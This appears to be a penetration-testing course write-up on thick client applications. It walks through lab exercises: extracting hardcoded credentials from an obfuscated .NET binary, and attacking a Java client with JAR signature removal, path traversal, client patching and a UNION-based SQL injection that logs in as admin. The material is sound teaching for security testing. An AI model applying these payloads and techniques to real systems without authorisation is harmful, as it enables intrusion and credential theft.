# Thick Client Applications

## Attacking Thick Client Applications

Thick client applications are the applications that are installed locally on our computers. Unlike thin client applications that run on a remote server and can be accessed through the web browser, these applications do not require internet access to run, and they perform better in processing power, memory, and storage capacity. Thick client applications are usually applications used in enterprise environments created to serve specific purposes. Such applications include project management systems, customer relationship management systems, inventory management tools, and other productivity software. These applications are usually developed using Java, C++, .NET, or Microsoft Silverlight.

A critical security measure that, for example, `Java` has is a technology called `sandbox`. The sandbox is a virtual environment that allows untrusted code, such as code downloaded from the internet, to run safely on a user's system without posing a security risk. In addition, it isolates untrusted code, preventing it from accessing or modifying system resources and other applications without proper authorization. Besides that, there are also `Java API restrictions` and `Code Signing` that helps to create a more secure environment.

In a `.NET` environment, a `thick client`, also known as a `rich` client or `fat` client, refers to an application that performs a significant amount of processing on the client side rather than relying solely on the server for all processing tasks. As a result, thick clients can provide a better performance, more features, and improved user experiences compared to their `thin client` counterparts, which rely heavily on the server for processing and data storage.

Some examples of thick client applications are web browsers, media players, chatting software, and video games. Some thick client applications are usually available to purchase or download for free through their official website or third-party application stores, while other custom applications that have been created for a specific company, can be delivered directly from the IT department that has developed the software.

Some characteristics of thick client applications are:

* Independent software.
* Working without internet access.
* Storing data locally.
* Less secure.
* Consuming more resources.
* More expensive.

Thick client applications can be categorized into two-tier and three-tier architecture. In two-tier architecture, the application is installed locally on the computer and communicates directly with the database. In the three-tier architecture, applications are also installed locally on the computer, but in order to interact with the databases, they first communicate with an application server, usually using the HTTP/HTTPS protocol. In this case, the application server and the database might be located on the same network or over the internet. This is something that makes three-tier architecture more secure since attackers won't be able to communicate directly with the database. The image below shows the differences between two-tier and three-tier architecture applications.

<figure><img src="https://251353229-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo1z7P4Rl2BT9EibHkhc%2Fuploads%2FCdn2Z6efi7JlAKSyikpm%2Farch_tiers.webp?alt=media&#x26;token=b06607b6-f874-47c6-b767-787534c4bbb5" alt=""><figcaption></figcaption></figure>

However, thick client applications are considered less secure than web applications with many attacks being applicable, including:

* Improper Error Handling.
* Hardcoded sensitive data.
* DLL Hijacking.
* Buffer Overflow.
* SQL Injection.
* Insecure Storage.
* Session Management.

### Penetration Testing Steps

**Information Gathering**

In this step, penetration testers have to identify the application architecture, the programming languages and frameworks that have been used, and understand how the application and the infrastructure work. They should also need to identify technologies that are used on the client and server sides and find entry points and user inputs. Testers should also look for identifying common vulnerabilities like the ones we mentioned earlier at the end of the [About](https://academy.hackthebox.com/module/113/section/2139##About) section. The following tools will help us gather information.

| [CFF Explorer](https://ntcore.com/?page_id=388) | [Detect It Easy](https://github.com/horsicq/Detect-It-Easy) | [Process Monitor](https://learn.microsoft.com/en-us/sysinternals/downloads/procmon) | [Strings](https://learn.microsoft.com/en-us/sysinternals/downloads/strings) |
| ----------------------------------------------- | ----------------------------------------------------------- | ----------------------------------------------------------------------------------- | --------------------------------------------------------------------------- |

**Client Side attacks**

Sensitive information like usernames and passwords, tokens, or strings for communication with other services, might be stored in the application's local files. Hardcoded credentials and other sensitive information can also be found in the application's source code, thus Static Analysis is a necessary step while testing the application. Using the proper tools, we can reverse-engineer and examine .NET and Java applications including EXE, DLL, JAR, CLASS, WAR, and other file formats. Dynamic analysis should also be performed in this step, as thick client applications store sensitive information in the memory as well.

| [Ghidra](https://www.ghidra-sre.org/)   | [IDA](https://hex-rays.com/ida-pro/) | [OllyDbg](http://www.ollydbg.de/)      | [Radare2](https://www.radare.org/r/index.html) |
| --------------------------------------- | ------------------------------------ | -------------------------------------- | ---------------------------------------------- |
| [dnSpy](https://github.com/dnSpy/dnSpy) | [x64dbg](https://x64dbg.com/)        | [JADX](https://github.com/skylot/jadx) | [Frida](https://frida.re/)                     |

**Network Side Attacks**

If the application is communicating with a local or remote server, network traffic analysis will help us capture sensitive information that might be transferred through HTTP/HTTPS or TCP/UDP connection, and give us a better understanding of how that application is working. Penetration testers that are performing traffic analysis on thick client applications should be familiar with tools like:

| [Wireshark](https://www.wireshark.org/) | [tcpdump](https://www.tcpdump.org/) | [TCPView](https://learn.microsoft.com/en-us/sysinternals/downloads/tcpview) | [Burp Suite](https://portswigger.net/burp) |
| --------------------------------------- | ----------------------------------- | --------------------------------------------------------------------------- | ------------------------------------------ |

**Server Side Attacks**

Server-side attacks in thick client applications are similar to web application attacks, and penetration testers should pay attention to the most common ones including most of the OWASP Top Ten.

### Retrieving hardcoded Credentials from Thick-Client Applications

Exploring the `NETLOGON` share of the SMB service reveals `RestartOracle-Service.exe` among other files. Downloading the executable locally and running it through the command line, it seems like it does not run or it runs something hidden.

Downloading the tool `ProcMon64` from [SysInternals](https://learn.microsoft.com/en-gb/sysinternals/downloads/procmon) and monitoring the process reveals that the executable indeed creates a temp file in `C:\Users\Matt\AppData\Local\Temp`.

<figure><img src="https://251353229-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo1z7P4Rl2BT9EibHkhc%2Fuploads%2FpW7I4P9cXXm8Ep2vpsdg%2Fprocmon.webp?alt=media&#x26;token=f4b00d30-f506-447c-a133-676a493d6090" alt=""><figcaption></figcaption></figure>

In order to capture the files, it is required to change the permissions of the `Temp` folder to disallow file deletions. To do this, we right-click the folder `C:\Users\Matt\AppData\Local\Temp` and under `Properties` -> `Security` -> `Advanced` -> `cybervaca` -> `Disable inheritance` -> `Convert inherited permissions into explicit permissions on this object` -> `Edit` -> `Show advanced permissions`, we deselect the `Delete subfolders and files`, and `Delete` checkboxes.

<figure><img src="https://251353229-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo1z7P4Rl2BT9EibHkhc%2Fuploads%2Fb5NjO6JgewsbbRalPNyF%2Fchange-perms.webp?alt=media&#x26;token=db7bab8a-36bd-4582-aee6-a29ca545bd8b" alt=""><figcaption></figcaption></figure>

Finally, we click `OK` -> `Apply` -> `OK` -> `OK` on the open windows. Once the folder permissions have been applied we simply run again the `Restart-OracleService.exe` and check the `temp` folder. The file `6F39.bat` is created under the `C:\Users\cybervaca\AppData\Local\Temp\2`. The names of the generated files are random every time the service is running.

Inspecting the content of the file reveals that two files are being dropped by the batch file and being deleted before anyone can get access to the leftovers. We can try to retrieve the content of the 2 files, by modifying the batch script and removing the deletion.

After executing the batch script by double-clicking on it, we wait a few minutes to spot the `oracle.txt` file which contains another file full of base64 lines, and the script `monta.ps1` which contains the following content, under the directory `c:\programdata\`. Listing the content of the file `monta.ps1` reveals the following code.

```powershell
$salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida))
```

This script simply reads the contents of the `oracle.txt` file and decodes it to the `restart-service.exe` executable. Running this script gives us a final executable that we can further analyze.

Now when executing `restart-service.exe` we are presented with the banner `Restart Oracle` created by `HelpDesk` back in 2010.

Inspecting the execution of the executable through `ProcMon64` shows that it is querying multiple things in the registry and does not show anything solid to go by.

Let's start `x64dbg`, navigate to `Options` -> `Preferences`, and uncheck everything except `Exit Breakpoint`:

<figure><img src="https://251353229-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo1z7P4Rl2BT9EibHkhc%2Fuploads%2FcRsEOhOPagRhdgMi6IWW%2FExit_Breakpoint_1.webp?alt=media&#x26;token=a3a10613-05fd-4dc6-b99c-6bf0f43d144f" alt=""><figcaption></figcaption></figure>

By unchecking the other options, the debugging will start directly from the application's exit point.

Then, we can select `file` -> `open` and select the `restart-service.exe` to import it and start the debugging. Once imported, we right click inside the `CPU` view and `Follow in Memory Map`:

<figure><img src="https://251353229-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo1z7P4Rl2BT9EibHkhc%2Fuploads%2Fs0SYvXxi93dYKURZcloD%2FFollow-In-Memory-Map.webp?alt=media&#x26;token=d2f04f07-b976-489b-be73-ce866cda1756" alt=""><figcaption></figcaption></figure>

Checking the memory maps at this stage of the execution, of particular interest is the map with a size of `0000000000003000` with a type of `MAP` and protection set to `-RW--`.

<figure><img src="https://251353229-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo1z7P4Rl2BT9EibHkhc%2Fuploads%2FxXHoxjdWUZ1YVFa46nXF%2FIdentify-Memory-Map.webp?alt=media&#x26;token=344ffd1a-4d08-4875-8104-65e6d2a0dc7d" alt=""><figcaption></figcaption></figure>

Memory-mapped files allow applications to access large files without having to read or write the entire file into memory at once. Instead, the file is mapped to a region of memory that the application can read and write as if it were a regular buffer in memory. This could be a place to potentially look for hardcoded credentials.

If we double-click on it, we will see the magic bytes `MZ` in the `ASCII` column that indicates that the file is a [DOS MZ executable](https://en.wikipedia.org/wiki/DOS_MZ_executable).

<figure><img src="https://251353229-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo1z7P4Rl2BT9EibHkhc%2Fuploads%2FKqCnCgFksBFSIu5gK8LL%2Fmagic_bytes_3.webp?alt=media&#x26;token=cd5754ae-f317-4c1e-bd97-e4d05d7e5687" alt=""><figcaption></figcaption></figure>

Let's return to the Memory Map pane, then export the newly discovered mapped item from memory to a dump file by right-clicking on the address and selecting `Dump Memory to File`. Running `strings` on the exported file reveals some interesting information.

```powershell-session
C:\TOOLS\Strings\strings64.exe .\restart-service_00000000001E0000.bin

<SNIP>
"#M
z\V
).NETFramework,Version=v4.0,Profile=Client
FrameworkDisplayName
.NET Framework 4 Client Profile
```

Reading the output reveals that the dump contains a `.NET` executable. We can use `De4Dot` to reverse `.NET` executables back to the source code by dragging the `restart-service_00000000001E0000.bin` onto the `de4dot` executable.

```cmd-session
de4dot v3.1.41592.3405

Detected Unknown Obfuscator (C:\Users\cybervaca\Desktop\restart-service_00000000001E0000.bin)
Cleaning C:\Users\cybervaca\Desktop\restart-service_00000000001E0000.bin
Renaming all obfuscated symbols
Saving C:\Users\cybervaca\Desktop\restart-service_00000000001E0000-cleaned.bin
```

Now, we can read the source code of the exported application by dragging and dropping it onto the `DnSpy` executable.

<figure><img src="https://251353229-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo1z7P4Rl2BT9EibHkhc%2Fuploads%2Fwa1bY4i8Tk8iGiLNfn36%2Fsouce-code_hidden.webp?alt=media&#x26;token=572145f2-d7ef-4683-a724-64bbc43198fc" alt=""><figcaption></figcaption></figure>

With the source code disclosed, we can understand that this binary is a custom-made `runas.exe` with the sole purpose of restarting the Oracle service using hardcoded credentials.

## Exploiting Web Vulnerabilities in Thick-Client Applications

Thick client applications with a three-tier architecture have a security advantage over those with a two-tier architecture since it prevents the end-user from communicating directly with the database server. However, three-tier applications can be susceptible to web-specific attacks like SQL Injection and Path Traversal.

During penetration testing, it is common for someone to encounter a thick client application that connects to a server to communicate with the database. The following scenario demonstrates a case where the tester has found the following files while enumerating an FTP server that provides `anonymous` user access.

* fatty-client.jar
* note.txt
* note2.txt
* note3.txt

Reading the content of all the text files reveals that:

* A server has been reconfigured to run on port `1337` instead of `8000`.
* This might be a thick/thin client architecture where the client application still needs to be updated to use the new port.
* The client application relies on `Java 8`.
* The login credentials for login in the client application are `qtc / clarabibi`.

Let's run the `fatty-client.jar` file by double-clicking on it. Once the app is started, we can log in using the credentials `qtc / clarabibi`.

This is not successful, and the message `Connection Error!` is displayed. This is probably because the port pointing to the servers needs to be updated from `8000` to `1337`. Let's capture and analyze the network traffic using Wireshark to confirm this. Once Wireshark is started, we click on `Login` once again.

<figure><img src="https://251353229-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo1z7P4Rl2BT9EibHkhc%2Fuploads%2FulQfKrtighCmXZQpkmpO%2Fwireshark.webp?alt=media&#x26;token=4b1d69ce-8e4a-4b06-aa9f-1dab1b6f25f5" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Below is showcased an example on how to approach DNS requests from applications in your favour. Verify the contents of the C:\Windows\System32\drivers\etc\hosts file where the IP 172.16.17.114 is pointed to fatty.htb and server.fatty.htb
{% endhint %}

The client attempts to connect to the `server.fatty.htb` subdomain. Let's start a command prompt as administrator and add the following entry to the `hosts` file.

```batch
echo 10.10.10.174    server.fatty.htb >> C:\Windows\System32\drivers\etc\hosts
```

Inspecting the traffic again reveals that the client is attempting to connect to port `8000`.

The `fatty-client.jar` is a Java Archive file (which is a zip), and its content can be extracted by right-clicking on it and selecting `Extract files`.

Let's run PowerShell as administrator, navigate to the extracted directory and use the `Select-String` command to search all the files for port `8000`.

```powershell
ls fatty-client\ -recurse | Select-String "8000" | Select Path, LineNumber | Format-List
```

There's a match in `beans.xml`. This is a `Spring` configuration file containing configuration metadata. Let's read its content.

```powershell-session
<SNIP>
<!-- Here we have an constructor based injection, where Spring injects required arguments inside the
         constructor function. -->
   <bean id="connectionContext" class = "htb.fatty.shared.connection.ConnectionContext">
      <constructor-arg index="0" value = "server.fatty.htb"/>
      <constructor-arg index="1" value = "8000"/>
   </bean>

<!-- The next to beans use setter injection. For this kind of injection one needs to define an default
constructor for the object (no arguments) and one needs to define setter methods for the properties. -->
   <bean id="trustedFatty" class = "htb.fatty.shared.connection.TrustedFatty">
      <property name = "keystorePath" value = "fatty.p12"/>
   </bean>

   <bean id="secretHolder" class = "htb.fatty.shared.connection.SecretHolder">
      <property name = "secret" value = "clarabibiclarabibiclarabibi"/>
   </bean>
<SNIP>
```

Let's edit the line `<constructor-arg index="1" value = "8000"/>` and set the port to `1337`. Reading the content carefully, we also notice that the value of the `secret` is `clarabibiclarabibiclarabibi`. Running the edited application will fail due to an `SHA-256` digest mismatch. The JAR is signed, validating every file's `SHA-256` hashes before running. These hashes are present in the file `META-INF/MANIFEST.MF`.

```powershell-session
Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Built-By: root
Sealed: True
Created-By: Apache Maven 3.3.9
Build-Jdk: 1.8.0_232
Main-Class: htb.fatty.client.run.Starter

Name: META-INF/maven/org.slf4j/slf4j-log4j12/pom.properties
SHA-256-Digest: miPHJ+Y50c4aqIcmsko7Z/hdj03XNhHx3C/pZbEp4Cw=

Name: org/springframework/jmx/export/metadata/ManagedOperationParamete
 r.class
SHA-256-Digest: h+JmFJqj0MnFbvd+LoFffOtcKcpbf/FD9h2AMOntcgw=
<SNIP>
```

Let's remove the hashes from `META-INF/MANIFEST.MF` and delete the `1.RSA` and `1.SF` files from the `META-INF` directory. The modified `MANIFEST.MF` should end with a new line.

```txt
Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Built-By: root
Sealed: True
Created-By: Apache Maven 3.3.9
Build-Jdk: 1.8.0_232
Main-Class: htb.fatty.client.run.Starter

```

We can update and run the `fatty-client.jar` file by issuing the following commands.

```powershell
cd .\fatty-client
jar -cmf .\META-INF\MANIFEST.MF ..\fatty-client-new.jar *
```

Then, we double-click on the `fatty-client-new.jar` file to start it and try logging in using the credentials `qtc / clarabibi`.

This time we get the message `Login Successful!`.

### Foothold

Clicking on `Profile` -> `Whoami` reveals that the user `qtc` is assigned with the `user` role.

Clicking on the `ServerStatus,` we notice that we can't click on any options.

This implies that there might be another user with higher privileges that is allowed to use this feature. Clicking on the `FileBrowser` -> `Notes.txt` reveals the file `security.txt`. Clicking the `Open` option at the bottom of the window shows the following content.

<figure><img src="https://251353229-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo1z7P4Rl2BT9EibHkhc%2Fuploads%2FPgS0lytc8E889aklIK9M%2Fsecurity.webp?alt=media&#x26;token=52d61e5d-b2bf-4366-ae16-12187b4c1366" alt=""><figcaption></figcaption></figure>

This note informs us that a few critical issues in the application still need to be fixed. Navigating to the `FileBrowser` -> `Mail` option reveals the `dave.txt` file containing interesting information. We can read its content by clicking the `Open` option at the bottom of the window.

The message from dave says that all `admin` users are removed from the database. It also refers to a timeout implemented in the login procedure to mitigate time-based SQL injection attacks.

### Path Traversal

Since we can read files, let's attempt a path traversal attack by giving the following payload in the field and clicking the `Open` button.

```txt
../../../../../../etc/passwd
```

The server filters out the `/` character from the input. Let's decompile the application using [JD-GUI](http://java-decompiler.github.io/), by dragging and dropping the `fatty-client-new.jar` onto the `jd-gui`.

Save the source code by pressing the `Save All Sources` option in `jdgui`. Decompress the `fatty-client-new.jar.src.zip` by right-clicking and selecting `Extract files`. The file `fatty-client-new.jar.src/htb/fatty/client/methods/Invoker.java` handles the application features. Reading its content reveals the following code.

```java
public String showFiles(String folder) throws MessageParseException, MessageBuildException, IOException {
    String methodName = (new Object() {
      
      }).getClass().getEnclosingMethod().getName();
    logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
    if (AccessCheck.checkAccess(methodName, this.user))
      return "Error: Method '" + methodName + "' is not allowed for this user account"; 
    this.action = new ActionMessage(this.sessionID, "files");
    this.action.addArgument(folder);
    sendAndRecv();
    if (this.response.hasError())
      return "Error: Your action caused an error on the application server!"; 
    return this.response.getContentAsString();
  }
```

The `showFiles` function takes in one argument for the folder name and then sends the data to the server using the `sendAndRecv()` call. The file `fatty-client-new.jar.src/htb/fatty/client/gui/ClientGuiTest.java` sets the folder option. Let's read its content.

```java
configs.addActionListener(new ActionListener() {
          public void actionPerformed(ActionEvent e) {
            String response = "";
            ClientGuiTest.this.currentFolder = "configs";
            try {
              response = ClientGuiTest.this.invoker.showFiles("configs");
            } catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {
              JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);
            } catch (IOException e2) {
              JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
            } 
            textPane.setText(response);
          }
        });
```

We can replace the `configs` folder name with `..` as follows.

```java
ClientGuiTest.this.currentFolder = "..";
  try {
    response = ClientGuiTest.this.invoker.showFiles("..");
```

Next, compile the `ClientGuiTest.Java` file.

```powershell-session
javac -cp fatty-client-new.jar fatty-client-new.jar.src\htb\fatty\client\gui\ClientGuiTest.java
```

This generates several class files. Let's create a new folder and extract the contents of `fatty-client-new.jar` into it.

```powershell
mkdir raw
cp fatty-client-new.jar raw\fatty-client-new-2.jar
```

Navigate to the `raw` directory and decompress `fatty-client-new-2.jar` by right-clicking and selecting `Extract Here`.

Overwrite any existing `htb/fatty/client/gui/*.class` files with updated class files.

```powershell
mv -Force fatty-client-new.jar.src\htb\fatty\client\gui\*.class raw\htb\fatty\client\gui\
```

Finally, we build the new JAR file.

```powershell
cd raw
jar -cmf META-INF\MANIFEST.MF traverse.jar .
```

Let's log in to the application and navigate to `FileBrowser` -> `Config` option.

This is successful. We can now see the content of the directory `configs/../`. The files `fatty-server.jar` and `start.sh` look interesting. Listing the content of the `start.sh` file reveals that `fatty-server.jar` is running inside an Alpine Docker container.

We can modify the `open` function in `fatty-client-new.jar.src/htb/fatty/client/methods/Invoker.java` to download the file `fatty-server.jar` as follows.

```java
import java.io.FileOutputStream;
<SNIP>
public String open(String foldername, String filename) throws MessageParseException, MessageBuildException, IOException {
    String methodName = (new Object() {}).getClass().getEnclosingMethod().getName();
    logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
    if (AccessCheck.checkAccess(methodName, this.user)) {
        return "Error: Method '" + methodName + "' is not allowed for this user account";
    }
    this.action = new ActionMessage(this.sessionID, "open");
    this.action.addArgument(foldername);
    this.action.addArgument(filename);
    sendAndRecv();
    String desktopPath = System.getProperty("user.home") + "\\Desktop\\fatty-server.jar";
    FileOutputStream fos = new FileOutputStream(desktopPath);
    
    if (this.response.hasError()) {
        return "Error: Your action caused an error on the application server!";
    }
    
    byte[] content = this.response.getContent();
    fos.write(content);
    fos.close();
    
    return "Successfully saved the file to " + desktopPath;
}
<SNIP>
```

Rebuild the JAR file by following the same steps and log in again to the application. Then, navigate to `FileBrowser` -> `Config`, add the `fatty-server.jar` name in the input field, and click the `Open` button.

<figure><img src="https://251353229-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo1z7P4Rl2BT9EibHkhc%2Fuploads%2FJG63bSPOWIoz7bZRXxXn%2Fdownload.webp?alt=media&#x26;token=dacc901b-117a-4be8-8e54-171ec7271ee2" alt=""><figcaption></figcaption></figure>

The `fatty-server.jar` file is successfully downloaded onto our desktop, and we can start the examination.

### SQL Injection

Decompiling the `fatty-server.jar` using JD-GUI reveals the file `htb/fatty/server/database/FattyDbSession.class` that contains a `checkLogin()` function that handles the login functionality. This function retrieves user details based on the provided username. It then compares the retrieved password with the provided password.

```java
public User checkLogin(User user) throws LoginException {
    <SNIP>
      rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");
      <SNIP>
        if (newUser.getPassword().equalsIgnoreCase(user.getPassword()))
          return newUser; 
        throw new LoginException("Wrong Password!");
      <SNIP>
           this.logger.logError("[-] Failure with SQL query: ==> SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "' <==");
      this.logger.logError("[-] Exception was: '" + e.getMessage() + "'");
      return null;
```

Let's check how the client application sends credentials to the server. The login button creates the new object `ClientGuiTest.this.user` for the `User` class. It then calls the `setUsername()` and `setPassword()` functions with the respective username and password values. The values that are returned from these functions are then sent to the server.

<figure><img src="https://251353229-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo1z7P4Rl2BT9EibHkhc%2Fuploads%2FA8MqXo4hF7aI3M8oAXoG%2Flogincode.png?alt=media&#x26;token=545efa4c-96f6-4a3a-83d8-d47fce03585e" alt=""><figcaption></figcaption></figure>

Let's check the `setUsername()` and `setPassword()` functions from `htb/fatty/shared/resources/user.java`.

```java
public void setUsername(String username) {
    this.username = username;
  }
  
  public void setPassword(String password) {
    String hashString = this.username + password + "clarabibimakeseverythingsecure";
    MessageDigest digest = null;
    try {
      digest = MessageDigest.getInstance("SHA-256");
    } catch (NoSuchAlgorithmException e) {
      e.printStackTrace();
    } 
    byte[] hash = digest.digest(hashString.getBytes(StandardCharsets.UTF_8));
    this.password = DatatypeConverter.printHexBinary(hash);
  }
```

The username is accepted without modification, but the password is changed to the format below.

```java
sha256(username+password+"clarabibimakeseverythingsecure")
```

We also notice that the username isn't sanitized and is directly used in the SQL query, making it vulnerable to SQL injection.

```java
rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");
```

The `checkLogin` function in `htb/fatty/server/database/FattyDbSession.class` writes the SQL exception to a log file.

```java
<SNIP>
    this.logger.logError("[-] Failure with SQL query: ==> SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "' <==");
      this.logger.logError("[-] Exception was: '" + e.getMessage() + "'");
<SNIP>
```

Login into the application using the username `qtc'` to validate the SQL injection vulnerability reveals a syntax error. To see the error, we need to edit the code in the `fatty-client-new.jar.src/htb/fatty/client/gui/ClientGuiTest.java` file as follows.

```java
ClientGuiTest.this.currentFolder = "../logs";
  try {
    response = ClientGuiTest.this.invoker.showFiles("../logs");
```

Listing the content of the `error-log.txt` file reveals the following message.

This confirms that the username field is vulnerable to SQL Injection. However, login attempts using payloads such as `' or '1'='1` in both fields fail. Assuming that the username in the login form is `' or '1'='1`, the server will process the username as below.

```sql
SELECT id,username,email,password,role FROM users WHERE username='' or '1'='1'
```

The above query succeeds and returns the first record in the database. The server then creates a new user object with the obtained results.

```java
<SNIP>
if (rs.next()) {
        int id = rs.getInt("id");
        String username = rs.getString("username");
        String email = rs.getString("email");
        String password = rs.getString("password");
        String role = rs.getString("role");
        newUser = new User(id, username, password, email, Role.getRoleByName(role), false);
<SNIP>
```

It then compares the newly created user password with the user-supplied password.

```java
<SNIP>
if (newUser.getPassword().equalsIgnoreCase(user.getPassword()))
    return newUser;
throw new LoginException("Wrong Password!");
<SNIP>
```

Then, the following value is produced by `newUser.getPassword()` function.

```java
sha256("qtc"+"clarabibi"+"clarabibimakeseverythingsecure") = 5a67ea356b858a2318017f948ba505fd867ae151d6623ec32be86e9c688bf046
```

The user-supplied password hash `user.getPassword()` is calculated as follows.

```java
sha256("' or '1'='1" + "' or '1'='1" + "clarabibimakeseverythingsecure") = cc421e01342afabdd4857e7a1db61d43010951c7d5269e075a029f5d192ee1c8
```

Although the hash sent to the server by the client doesn't match the one in the database, and the password comparison fails, the SQL injection is still possible using `UNION` queries. Let's consider the following example.

```sql
select * from users where username='john';
```

```sql
+----------+-------------+
| username | password    |
+----------+-------------+
| john     | password123 |
+----------+-------------+
```

It is possible to create fake entries using the `SELECT` operator. Let's input an invalid username to create a new user entry.

```sql
select * from users where username='test' union select 'admin', 'welcome123';
+----------+-------------+
| username | password    |
+----------+-------------+
| admin    | welcome123  |
+----------+-------------+
```

Similarly, the injection in the `username` field can be leveraged to create a fake user entry.

```java
test' UNION SELECT 1,'invaliduser','invalid@a.b','invalidpass','admin
```

This way, the password, and the assigned role can be controlled. The following snippet of code sends the plaintext password entered in the form. Let's modify the code in `htb/fatty/shared/resources/User.java` to submit the password as it is from the client application.

```java
public User(int uid, String username, String password, String email, Role role) {
    this.uid = uid;
    this.username = username;
    this.password = password;
    this.email = email;
    this.role = role;
}
public void setPassword(String password) {
    this.password = password;
  }
```

We can now rebuild the JAR file and attempt to log in using the payload `abc' UNION SELECT 1,'abc','a@b.com','abc','admin` in the `username` field and the random text `abc` in the `password` field.

The server will eventually process the following query.

```sql
select id,username,email,password,role from users where username='abc' UNION SELECT 1,'abc','a@b.com','abc','admin'
```

The first select query fails, while the second returns valid user results with the role `admin` and the password `abc`. The password sent to the server is also `abc`, which results in a successful password comparison, and the application allows us to log in as the user `admin`.

<figure><img src="https://251353229-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIo1z7P4Rl2BT9EibHkhc%2Fuploads%2F3Jw4su6uaht8J8JkwQz4%2Fadmin.webp?alt=media&#x26;token=0fdb7ed7-9c82-493a-af22-7209863e456c" alt=""><figcaption></figcaption></figure>
